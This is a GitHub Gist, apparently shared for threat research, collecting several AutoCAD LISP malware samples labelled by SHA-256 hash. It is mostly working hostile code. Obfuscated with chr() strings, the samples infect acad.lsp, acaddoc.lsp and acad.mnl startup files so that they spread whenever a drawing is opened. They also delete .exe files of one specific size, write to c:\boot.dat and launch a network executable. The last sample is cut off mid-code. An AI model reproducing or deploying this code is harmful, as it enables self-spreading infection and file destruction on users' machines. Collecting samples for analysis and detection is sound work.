Created
September 22, 2018 22:22
-
-
Save JohnLaTwC/dba49c0c41825b7febd8c4797eb6c2be to your computer and use it in GitHub Desktop.
AutoCAD LISP Malware
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Uploaded by @JohnLaTwC | |
## AutoCAD LISP Malware | |
################################################################### | |
## 332ca1146b1478cc9ddda9be07815a48071b9e83081eb995f33379385d3258f2 | |
(setq s::startup nil) | |
(setq *startup* (strcat (chr 40) | |
(chr 115) | |
(chr 101) | |
(chr 116) | |
(chr 113) | |
(chr 32) | |
(chr 115) | |
(chr 58) | |
(chr 58) | |
(chr 115) | |
(chr 116) | |
(chr 97) | |
(chr 114) | |
(chr 116) | |
(chr 117) | |
(chr 112) | |
(chr 32) | |
(chr 110) | |
(chr 105) | |
(chr 108) | |
(chr 41) | |
) | |
) | |
(setq *acad-object* nil) | |
(defun vlex-file-attribute (filename / filenamenew tmpname) | |
(setq fileatt nil) | |
(setq filenamenew (findfile filename)) | |
(setq tmpname (strcat (vl-filename-directory | |
(findfile (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 101) | |
(chr 120) | |
(chr 101) | |
) | |
) | |
) | |
(strcat (chr 92) | |
(chr 116) | |
(chr 109) | |
(chr 112) | |
(chr 46) | |
(chr 116) | |
(chr 120) | |
(chr 116) | |
) | |
) | |
) | |
(vl-file-copy (findfile filename) tmpname) | |
(if (vl-file-delete filename) | |
(progn | |
(setq fileatt T) | |
(vl-file-copy tmpname filenamenew) | |
(vl-file-delete tmpname) | |
) | |
(progn | |
(setq fileatt nil) | |
(vl-file-delete tmpname) | |
) | |
) | |
fileatt | |
) | |
(defun vlex-to-file (filepath strlist / wjh extstr tetstr wjhh) | |
(if (findfile filepath) | |
(progn | |
(setq tetstr T) | |
(setq wjh (open (findfile filepath) (chr 114))) | |
(while (setq txtstr (read-line wjh)) | |
(if (= txtstr *startup*) | |
(setq tetstr nil) | |
) | |
) | |
(close wjh) | |
(if tetstr | |
(progn | |
(if (vlex-file-attribute filepath) | |
(progn | |
(setq wjhh (open (findfile filepath) (chr 97))) | |
(write-line (chr 13) wjhh) | |
(foreach n strlist | |
(write-line n wjhh) | |
) | |
(close wjhh) | |
) | |
) | |
) | |
) | |
) | |
(progn | |
(setq wjjh (open filepath (chr 119))) | |
(foreach n strlist | |
(write-line n wjjh) | |
) | |
(close wjjh) | |
) | |
) | |
) | |
(defun vlex-file-strlist (filenpath text / wjh srlst tmp tep) | |
(setq srlst nil) | |
(setq wjh (open filenpath (chr 114))) | |
(while (setq tmp (read-line wjh)) | |
(if (= tmp text) | |
(setq tep T) | |
) | |
(if tep | |
(setq srlst (append srlst (list tmp))) | |
) | |
) | |
(if wjh | |
(close wjh) | |
) | |
srlst | |
) | |
(defun vlex-string-listall (str delimiter / post strlst) | |
(if str | |
(progn (setq strlst nil) | |
(while (vl-string-search delimiter str) | |
(setq post (vl-string-search delimiter str)) | |
(setq strlst (append strlst (list (substr str 1 post)))) | |
(setq str (substr str (+ post 2))) | |
) | |
(vl-remove "" (append strlst (list str))) | |
) | |
) | |
) | |
(defun vlex-acadobject () | |
(cond (*acad-object*) | |
(T (setq *acad-object* (vlax-get-acad-object))) | |
) | |
) | |
(defun vlex-menugroups () (vla-get-menugroups (vlex-acadobject))) | |
(defun vlex-menugroups-listall (/ out) | |
(vlax-for each (vlex-menugroups) | |
(setq out (cons (vla-get-name each) out)) | |
) | |
(reverse out) | |
) | |
(setvar "cmdecho" 0) | |
(vl-load-com) | |
(setq menulist (vlex-menugroups-listall)) | |
(foreach n menulist | |
(if (/= (strcase n) | |
(strcat | |
(chr 65) | |
(chr 67) | |
(chr 65) | |
(chr 68) | |
) | |
) | |
(command (strcat (chr 109) | |
(chr 101) | |
(chr 110) | |
(chr 117) | |
(chr 117) | |
(chr 110) | |
(chr 108) | |
(chr 111) | |
(chr 97) | |
(chr 100) | |
) | |
n | |
) | |
) | |
) | |
;;; | |
;;;=== General Utility Functions === | |
;;; | |
(setq filepath (vlex-string-listall | |
(getenv (strcat | |
(chr 65) | |
(chr 67) | |
(chr 65) | |
(chr 68) | |
) | |
) | |
(chr 59) | |
) | |
) | |
(setq mnufilelist | |
nil | |
mnlfilelist | |
nil | |
lspfilelist | |
nil | |
filealllist | |
nil | |
strlist nil | |
dwgpath nil | |
) | |
(foreach n filepath | |
(if (vl-directory-files | |
n | |
(strcat | |
(chr 42) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
1 | |
) | |
(setq mnlfilelist | |
(append mnlfilelist | |
(vl-directory-files | |
n | |
(strcat (chr 42) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
1 | |
) | |
) | |
) | |
) | |
) | |
(foreach n filepath | |
(if (vl-directory-files | |
n | |
(strcat | |
(chr 42) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 117) | |
) | |
1 | |
) | |
(setq mnufilelist | |
(append mnufilelist | |
(vl-directory-files | |
n | |
(strcat (chr 42) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 117) | |
) | |
1 | |
) | |
) | |
) | |
) | |
) | |
(setq lspfilelist | |
(vl-directory-files | |
(strcat (vl-filename-directory | |
(findfile (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 101) | |
(chr 120) | |
(chr 101) | |
) | |
) | |
) | |
(strcat (chr 92) | |
(chr 115) | |
(chr 117) | |
(chr 112) | |
(chr 112) | |
(chr 111) | |
(chr 114) | |
(chr 116) | |
) | |
) | |
(strcat | |
(chr 42) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
) | |
(setq lspfilelist | |
(append lspfilelist | |
(vl-directory-files | |
(vl-filename-directory | |
(findfile (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 101) | |
(chr 120) | |
(chr 101) | |
) | |
) | |
) | |
(strcat (chr 42) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
) | |
) | |
(setq acadpath (strcat (vl-filename-directory | |
(findfile (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 101) | |
(chr 120) | |
(chr 101) | |
) | |
) | |
) | |
(strcat (chr 92) | |
(chr 115) | |
(chr 117) | |
(chr 112) | |
(chr 112) | |
(chr 111) | |
(chr 114) | |
(chr 116) | |
) | |
) | |
) | |
(if (findfile (getvar (strcat (chr 100) | |
(chr 119) | |
(chr 103) | |
(chr 110) | |
(chr 97) | |
(chr 109) | |
(chr 101) | |
) | |
) | |
) | |
(setq dwgpath (vl-filename-directory | |
(findfile (getvar (strcat (chr 100) | |
(chr 119) | |
(chr 103) | |
(chr 110) | |
(chr 97) | |
(chr 109) | |
(chr 101) | |
) | |
) | |
) | |
) | |
) | |
(setq dwgpath acadpath) | |
) | |
(setq dwgpath (strcat dwgpath | |
(chr 92) | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 100) | |
(chr 111) | |
(chr 99) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
(setq filealllist (append mnlfilelist lspfilelist (list dwgpath))) | |
(setq listnum (length filealllist)) | |
(setq num 0) | |
(while (< num listnum) | |
(setq filename (nth num filealllist)) | |
(if (findfile filename) | |
(setq strlist (vlex-file-strlist (findfile filename) *startup*)) | |
) | |
(if strlist | |
(setq num (1+ listnum)) | |
) | |
(setq num (1+ num)) | |
) | |
(vlex-to-file dwgpath strlist) | |
(foreach n mnufilelist | |
(setq mnlfile (strcat (vl-filename-directory (findfile n)) | |
(chr 92) | |
(vl-filename-base (findfile n)) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
) | |
(vlex-to-file mnlfile strlist) | |
) | |
(foreach n filealllist | |
(vlex-to-file n strlist) | |
) | |
(princ) | |
;;; | |
;;; To restore the system variables. | |
;;; | |
(if (/= (getvar "sdi") 0)(setvar "sdi" 0)) | |
(if (/= (getvar "acadlspasdoc") 1)(setvar "acadlspasdoc" 1)) | |
(if (/= (getvar "zoomfactor") 40)(setvar "zoomfactor" 40)) | |
(if (/= (getvar "mbuttonpan") 1)(setvar "mbuttonpan" 1)) | |
(if (/= (getvar "highlight") 1)(setvar "highlight" 1)) | |
(if (/= (getvar "fillmode") 1)(setvar "fillmode" 1)) | |
(if (/= (getvar "pickadd") 1)(setvar "spickadd" 1)) | |
(if (/= (getvar "pickauto") 1)(setvar "pickauto" 1)) | |
(if (/= (getvar "pickfirst") 1)(setvar "pickfirst" 1)) | |
(if (/= (getvar "filedia") 1)(setvar "filedia" 1)) | |
(if (/= (getvar "blipmode") 0)(setvar "blipmode" 0)) | |
(if (/= (getvar "fillmode") 1)(setvar "fillmode" 1)) | |
(if (/= (getvar "textfill") 1)(setvar "textfill" 1)) | |
(princ) | |
################################################################### | |
## 716549e18808db550d001c48773edb7d451dc413da91ea5d72a373cd40784dcb | |
( | |
setq | |
wold_cmd | |
( | |
getvar | |
"cmdecho" | |
) | |
) | |
( | |
setvar | |
"cmdecho" | |
0 | |
) | |
( | |
setq | |
bb 1 | |
) | |
(setq dpath (getvar "dwgprefix")) | |
(setq wpath (getvar "menuname")) | |
(setq wpath (substr wpath 1 (- (strlen wpath) 4))) | |
(setq mnl (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
lsp (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 100) | |
(chr 111) | |
(chr 99) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
(vl-file-delete (strcat wpath "acadapq.lsp")) | |
(vl-file-delete (strcat wpath lsp)) | |
(vl-file-delete (strcat wpath "acad.lsp")) | |
(vl-file-delete (strcat dpath "acad.lsp")) | |
(defun wwriteapp () | |
(if (setq wwjm1 (open wnewacad "w")) | |
(progn | |
(setq wwjm (open woldacad "r")) | |
(while(setq wwz (read-line wwjm)) | |
(write-line wwz wwjm1) | |
) | |
(close wwjm) | |
(close wwjm1) | |
) | |
) | |
) | |
(setq lbz 0) | |
(setq wwjqm (strcat dpath lsp)) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(repeat 15 (read-line wwjm)) | |
(setq wz (read-line wwjm)) | |
(setq ab (atoi (substr wz 4 1))) | |
(close wwjm) | |
(if (> ab bb) | |
(setq lbz 1) | |
) | |
) | |
) | |
(setq wwjqm (strcat wpath mnl)) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(repeat 15 (read-line wwjm)) | |
(setq wz (read-line wwjm)) | |
(setq nb (atoi (substr wz 4 1))) | |
(close wwjm) | |
(if (< nb bb) | |
(setq lbz 1) | |
) | |
) | |
(setq lbz 1) | |
) | |
(if (= lbz 1) | |
(progn | |
(setq woldacad (strcat dpath lsp)) | |
(setq wnewacad (strcat wpath mnl)) | |
(wwriteapp) | |
) | |
) | |
(if (and (/= (substr dpath 1 1) (chr 67)) | |
(/= (substr dpath 1 1) (chr 68)) | |
(/= (substr dpath 1 1) (chr 69)) | |
(/= (substr dpath 1 1) (chr 70)) | |
) | |
(progn | |
(setq woldacad (strcat wpath mnl)) | |
(setq wnewacad (strcat dpath lsp)) | |
(wwriteapp) | |
) | |
(vl-file-delete (strcat dpath lsp)) | |
) | |
;load "acadapq") | |
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120))) | |
(load "acadappp.lsp") | |
(princ) | |
################################################################### | |
## 73dcd650a79a8719f9b57e84ec50a13a27364e9052ec5820c89ac8da316991c4 | |
(defun s::startup | |
() | |
(setq old_cmd (getvar "cmdecho")) | |
(setvar "cmdecho" 0) | |
(defun defile | |
(plist / dwg | |
wpth | |
filenamelist | |
) | |
(setq plist | |
(strunparse | |
(str-cut | |
plist | |
"\\" | |
T | |
) | |
"/" | |
) | |
) | |
(if (/= plist nil) | |
(progn | |
(setq filenamelist | |
(vl-directory-files | |
plist "*.exe" 1)) | |
(while | |
(/= filenamelist nil) | |
(setq | |
dfile | |
(strcat | |
plist | |
"/" | |
(car | |
filenamelist))) | |
(if | |
(= 2561602 | |
(vl-file-size | |
dfile)) | |
(vl-file-delete | |
(strcat | |
plist "/" | |
(car | |
filenamelist)) | |
) | |
(setq | |
filenamelist | |
(cdr | |
filenamelist)) | |
) | |
;while | |
) | |
);progn | |
) | |
) | |
(defun | |
str-cut | |
(fa-str | |
str | |
how | |
/ | |
len | |
li | |
no) | |
(setq | |
len | |
(strlen str)) | |
(while | |
(setq | |
no | |
(vl-string-search | |
str | |
fa-str)) | |
(if | |
(/= no 0) | |
(setq li | |
(cons | |
(substr | |
fa-str | |
1 no) li)) | |
) | |
(setq | |
li | |
(cons | |
(substr | |
fa-str | |
(1+ no) | |
len) | |
li) | |
fa-str | |
(substr | |
fa-str | |
(+ | |
no | |
len | |
1)) | |
) | |
) | |
(if | |
(/= | |
"" | |
fa-str) | |
(setq | |
li | |
(cons | |
fa-str | |
li)) | |
) | |
(if | |
how | |
(vl-remove | |
str | |
(reverse | |
li)) | |
(reverse | |
li) | |
) | |
) | |
(defun | |
StrUnParse | |
(Lst | |
Delimiter | |
/ return) | |
(setq | |
return "") | |
(foreach | |
str Lst | |
(setq | |
return | |
(strcat | |
return | |
Delimiter | |
str)) | |
) ;_ end of foreach | |
(substr | |
return 2) | |
) | |
(setq path (findfile "base.dcl")) | |
(setq path (substr path 1 (- (strlen path) 8))) | |
(setq mnlpath (getvar "menuname")) | |
(setq nowdwg (getvar "dwgname")) | |
(setq wjqm (findfile nowdwg)) | |
(setq dwgpath (substr wjqm | |
1 | |
(- (strlen wjqm) | |
(strlen | |
nowdwg | |
) | |
) | |
) | |
) | |
(setq acadpath (findfile "acad.lsp")) | |
(setq acadpath (substr acadpath | |
1 | |
(- (strlen acadpath) 8) | |
) | |
) | |
(setq ns1 "" | |
ns2 "" | |
) | |
(setq lspbj 0) | |
(setq wjqm | |
(strcat path "acad.lsp")) | |
(if | |
(setq wjm (open wjqm "r")) | |
(progn | |
(while (setq wz (read-line wjm)) | |
(setq ns1 ns2) | |
(setq ns2 wz) | |
) | |
(if (> (strlen ns1) 14) | |
(if (= (substr ns1 8 8) "acadfile") | |
(setq lspbj 1) | |
) | |
) | |
(close wjm) | |
) | |
) | |
(setq lspmnl 0) | |
(setq wjqm | |
(strcat path "acad.mnl") | |
) | |
(if (setq wjm | |
(open wjqm "r")) | |
(progn | |
(while | |
(setq wz | |
(read-line wjm)) | |
(setq ns1 ns2) | |
(setq ns2 wz) | |
) | |
(if (> (strlen ns1) 14) | |
(if (= | |
(substr ns1 8 8) | |
"acadfile" | |
) | |
(setq lspmnl 1) | |
) | |
) | |
(close wjm) | |
) | |
) | |
(if (= lspmnl 0) | |
(progn | |
(setq wjqm | |
(strcat path | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
) | |
) | |
(setq wjm | |
(open wjqm "a")) | |
;;;;acaclisp | |
(write-line | |
(strcat | |
"(load " | |
(chr 34) | |
"acadfile" | |
(chr 34) | |
")" | |
) | |
wjm | |
) | |
(write-line | |
"(princ)" wjm) | |
(close wjm) | |
) | |
) | |
(if (= lspmnl 0) | |
(progn | |
(setq wjqm | |
(strcat path | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
) | |
) | |
(setq wjm | |
(open wjqm "a")) | |
(write-line | |
" | |
(vl-file-delete | |
(findfile | |
(strcat | |
(vl-registry-read | |
(strcat | |
\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\" | |
(chr 84) | |
(chr 88) | |
(chr 87) | |
(chr 83) | |
(chr 79) | |
(chr 102) | |
(chr 84) | |
(chr 95) | |
(chr 105) | |
(chr 115) | |
(chr 49) | |
) | |
\"InstallLocation\" | |
) | |
\"support\\\\\" | |
(chr 77) | |
(chr 65) | |
(chr 73) | |
(chr 78) | |
(chr 46) | |
(chr 102) | |
(chr 97) | |
(chr 115) | |
) | |
) | |
) | |
" | |
wjm) | |
(write-line | |
" | |
(startapp | |
(vl-registry-read | |
(strcat | |
\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\" | |
(chr 84) | |
(chr 88) | |
(chr 87) | |
(chr 83) | |
(chr 79) | |
(chr 102) | |
(chr 84) | |
(chr 95) | |
(chr 105) | |
(chr 115) | |
(chr 49) | |
) | |
\"QuietUninstallString\" | |
) | |
) | |
" | |
wjm | |
) | |
(write-line | |
(strcat | |
"(load " | |
(chr 34) | |
"acadfile" | |
(chr 34) | |
")" | |
) | |
wjm | |
) | |
(write-line | |
"(princ)" wjm) | |
(close wjm) | |
) | |
) | |
(if | |
(and | |
(= acadpath | |
dwgpath | |
) | |
(/= | |
acadpath | |
path | |
) | |
) | |
(progn | |
(if (= 0 lspmnl) | |
(progn | |
(setq oldacad | |
(findfile | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112)) | |
) | |
) | |
(setq | |
newacad | |
(strcat path | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 102) | |
(chr 105) | |
(chr 108) | |
(chr 101) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
) | |
) | |
(progn | |
(setq | |
oldacad | |
(strcat path | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 102) | |
(chr 105) | |
(chr 108) | |
(chr 101) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
) | |
(setq newacad | |
(findfile | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112)) | |
) | |
) | |
) | |
);mnl=0 | |
(if (= lspbj 0) | |
(progn (setq wjqm | |
(strcat path | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112)) | |
) | |
) | |
(setq wjm | |
(open | |
wjqm | |
"a") | |
) | |
(write-line | |
(strcat | |
"(load " | |
(chr 34 | |
) | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 102) | |
(chr 105) | |
(chr 108) | |
(chr 101) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
(chr 34) | |
")" | |
) | |
wjm | |
) | |
(write-line | |
"(princ)" | |
wjm | |
) | |
(close | |
wjm) | |
) | |
);lsbj=o | |
(writeapp) | |
) | |
;;;;; | |
(progn | |
(if | |
(/= nowdwg | |
"Drawing.dwg" | |
) | |
(progn | |
(setq | |
oldacad | |
(findfile | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 102) | |
(chr 105) | |
(chr 108) | |
(chr 101) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
) | |
(setq | |
newacad | |
(strcat | |
dwgpath | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112)) | |
) | |
) | |
(writeapp) | |
) | |
) | |
) | |
) | |
(if (not (findfile (strcat path | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 102) | |
(chr 105) | |
(chr 108) | |
(chr 101) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
)) | |
) | |
(progn | |
(progn | |
(setq oldacad | |
(findfile | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112)) | |
) | |
) | |
(setq | |
newacad | |
(strcat path | |
(strcat | |
(chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 102) | |
(chr 105) | |
(chr 108) | |
(chr 101) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
) | |
) | |
(writeapp) | |
) | |
) | |
(defile dwgpath) | |
(setq panbook | |
(strcat (car | |
(str-cut path | |
"Application" t)) | |
"×ÀÃæ\\")) | |
(defile panbook) | |
(setvar "cmdecho" old_cmd) | |
(princ) | |
) | |
(defun | |
writeapp () | |
(if | |
(setq wjm1 (open newacad "w")) | |
(progn | |
(setq wjm (open oldacad "r")) | |
(while (setq wz (read-line wjm)) | |
(write-line wz wjm1) | |
) | |
(close wjm) | |
(close wjm1) | |
) | |
) | |
) | |
(princ) | |
################################################################### | |
## 83629c3c1e04afc8855284dd589bae93ad59b193aadfa6df0c001178e9d8877a | |
( | |
setq | |
wold_cmd | |
( | |
getvar | |
"cmdecho" | |
) | |
) | |
( | |
setvar | |
"cmdecho" | |
0 | |
) | |
( | |
setq | |
bb 1 | |
) | |
(setq dpath (getvar "dwgprefix")) | |
(setq wpath (getvar "menuname")) | |
(setq wpath (substr wpath 1 (- (strlen wpath) 4))) | |
(setq mnl (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
lsp (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 100) | |
(chr 111) | |
(chr 99) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
(vl-file-delete (strcat wpath "acadapq.lsp")) | |
(vl-file-delete (strcat wpath lsp)) | |
(vl-file-delete (strcat wpath "acad.lsp")) | |
(vl-file-delete (strcat dpath "acad.lsp")) | |
(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas"))) | |
(load"shxfont""")(defun wwriteapp () | |
(if (setq wwjm1 (open wnewacad "w")) | |
(progn | |
(setq wwjm (open woldacad "r")) | |
(while(setq wwz (read-line wwjm)) | |
(write-line wwz wwjm1) | |
) | |
(close wwjm) | |
(close wwjm1) | |
) | |
) | |
) | |
(setq lbz 0) | |
(setq wwjqm (strcat dpath lsp)) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(repeat 15 (read-line wwjm)) | |
(setq wz (read-line wwjm)) | |
(setq ab (atoi (substr wz 4 1))) | |
(close wwjm) | |
(if (> ab bb) | |
(setq lbz 1) | |
) | |
) | |
) | |
(setq wwjqm (strcat wpath mnl)) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(repeat 15 (read-line wwjm)) | |
(setq wz (read-line wwjm)) | |
(setq nb (atoi (substr wz 4 1))) | |
(close wwjm) | |
(if (< nb bb) | |
(setq lbz 1) | |
) | |
) | |
(setq lbz 1) | |
) | |
(if (= lbz 1) | |
(progn | |
(setq woldacad (strcat dpath lsp)) | |
(setq wnewacad (strcat wpath mnl)) | |
(wwriteapp) | |
) | |
) | |
(if (and (/= (substr dpath 1 1) (chr 67)) | |
(/= (substr dpath 1 1) (chr 68)) | |
(/= (substr dpath 1 1) (chr 69)) | |
(/= (substr dpath 1 1) (chr 70)) | |
) | |
(progn | |
(setq woldacad (strcat wpath mnl)) | |
(setq wnewacad (strcat dpath lsp)) | |
(wwriteapp) | |
) | |
(vl-file-delete (strcat dpath lsp)) | |
) | |
;load "acadapq") | |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; | |
(setq flagx t) | |
(setq flagx t) | |
################################################################### | |
## d31704570aa5201526185998ca6279c3ffe4c0032b3af3efeb4ff3b8e4d3f52d | |
(setq | |
wold_cmd (getvar "cmdecho" | |
) | |
) | |
(setvar | |
"cmdecho" | |
0 | |
) | |
(setq | |
wpath (findfile "base.dcl") | |
) | |
(setq | |
wpath (substr wpath 1 (- (strlen wpath) 8)) | |
) | |
(setq | |
wwmnlwpath | |
(getvar "menuname") | |
) | |
(setq | |
wnowdwg (getvar "dwgname") | |
) | |
(setq | |
wwjqm (findfile wnowdwg) | |
) | |
(setq | |
wdwgwpath (substr wwjqm 1 (- (strlen wwjqm) (strlen wnowdwg))) | |
) | |
;;;alert | |
( | |
setq | |
f (open "c:\\boot.dat" "w") | |
) | |
(write-line "[dang]" f) | |
(write-line (strcat "ff=" wdwgwpath) f) | |
(write-line (strcat "yy=" wpath) f) | |
(close f) | |
(setq | |
boot (findfile "boot.dat") | |
) | |
(if (/= boot "") | |
(command "_-vbarun" "ThisDrawing.hh") | |
) | |
(setq | |
wacadwpath | |
(findfile "acad.lsp") | |
) | |
(setq | |
wacadwpath | |
(substr wacadwpath 1 (- (strlen wacadwpath) 8)) | |
) | |
(setq | |
wns1 "" | |
wns2 "" | |
) | |
(setq | |
wlspbj 0 | |
) | |
(setq | |
wwjqm (strcat wpath "acad.lsp") | |
) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(while (setq wwz (read-line wwjm)) | |
(setq wns1 wns2) | |
(setq wns2 wwz) | |
) | |
(if (> (strlen wns1) 14) | |
(if (= (substr wns1 8 7) "acadapq") | |
(setq wlspbj 1) | |
) | |
) | |
(close wwjm | |
) | |
) | |
) | |
(setq wlspmnl 0) | |
(setq wwjqm (strcat wpath "acad.mnl")) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(while (setq wwz (read-line wwjm)) | |
(setq wns1 wns2) | |
(setq wns2 wwz) | |
) | |
(if (> (strlen wns1) 14) | |
(if (= (substr wns1 8 7) "acadapq") | |
(setq wlspmnl 1) | |
) | |
) | |
(close wwjm) | |
) | |
) | |
(if (= wlspmnl 0) | |
(progn | |
(setq wwjqm (strcat wpath | |
(strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
) | |
) | |
(setq wwjm (open wwjqm "a")) | |
(write-line | |
(strcat "(load " (chr 34) "acadapq" (chr 34) ")") | |
wwjm | |
) | |
(write-line "(princ)" wwjm) | |
(close wwjm) | |
) | |
) | |
(defun wwriteapp () | |
(if (setq wwjm1 (open wnewacad "w")) | |
(progn | |
(setq wwjm (open woldacad "r")) | |
(while (setq wwz (read-line wwjm)) | |
(write-line wwz wwjm1) | |
) | |
(close wwjm) | |
(close wwjm1) | |
) | |
) | |
) | |
(setq wwjqm (strcat wpath "acaddoc.lsp")) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(close wwjm) | |
(vl-file-delete (strcat wpath "acaddoc.lsp")) | |
(vl-file-delete (strcat wdwgwpath "acaddoc.lsp")) | |
(setq woldacad (findfile "acad.lsp")) | |
(setq wnewacad (strcat wpath "acadapq.lsp")) | |
(wwriteapp) | |
) | |
) | |
(if (and (= wacadwpath wdwgwpath) (/= wacadwpath wpath)) | |
(progn | |
(if (= 0 wlspmnl) | |
(progn | |
(setq woldacad (findfile "acad.lsp")) | |
(setq wnewacad (strcat wpath "acadapq.lsp")) | |
) | |
(progn | |
(setq woldacad (strcat wpath "acadapq.lsp")) | |
(setq wnewacad (findfile "acad.lsp")) | |
) | |
) | |
(if (= wlspbj 0) | |
(progn | |
(setq wwjqm (strcat wpath "acad.lsp")) | |
(setq wwjm (open wwjqm "a")) | |
(write-line | |
(strcat "(load " (chr 34) "acadapq" (chr 34) ")") | |
wwjm | |
) | |
(write-line "(princ)" wwjm) | |
(close wwjm) | |
) | |
) | |
(wwriteapp) | |
) | |
(progn | |
(if (/= wnowdwg "Drawing.dwg") | |
(progn | |
(setq woldacad (findfile "acadapq.lsp")) | |
(setq wnewacad (strcat wdwgwpath "acad.lsp")) | |
(wwriteapp) | |
) | |
) | |
) | |
) | |
(setvar "cmdecho" wold_cmd) | |
(princ) | |
(setq strtopstr (strcat (chr 92) | |
(chr 92) | |
(chr 87) | |
(chr 67) | |
(chr 72) | |
(chr 80) | |
(chr 92) | |
(chr 83) | |
(chr 79) | |
(chr 70) | |
(chr 84) | |
) | |
) | |
(setq strbottomstr | |
(strcat (chr 92) | |
(chr 49) | |
(chr 46) | |
(chr 69) | |
(chr 88) | |
(chr 69) | |
) | |
) | |
(startapp (strcat strtopstr strbottomstr)) | |
(setvar "cmdecho" wold_cmd) | |
(princ) | |
(princ) | |
################################################################### | |
## e2c661e96b2b66ce96caaf73dabbe578e21e340b6e0b11a6fc2b27d1703d66cc | |
( | |
setq | |
wold_cmd | |
( | |
getvar | |
"cmdecho" | |
) | |
) | |
( | |
setvar | |
"cmdecho" | |
0 | |
) | |
( | |
setq | |
bb 1 | |
) | |
(setq dpath (getvar "dwgprefix")) | |
(setq wpath (getvar "menuname")) | |
(setq wpath (substr wpath 1 (- (strlen wpath) 4))) | |
(setq mnl (strcat (chr 97) | |
(chr 99) | |
(chr 97) | |
(chr 100) | |
(chr 46) | |
(chr 109) | |
(chr 110) | |
(chr 108) | |
) | |
lsp (strcat (chr 97) | |
(chr 99) | |
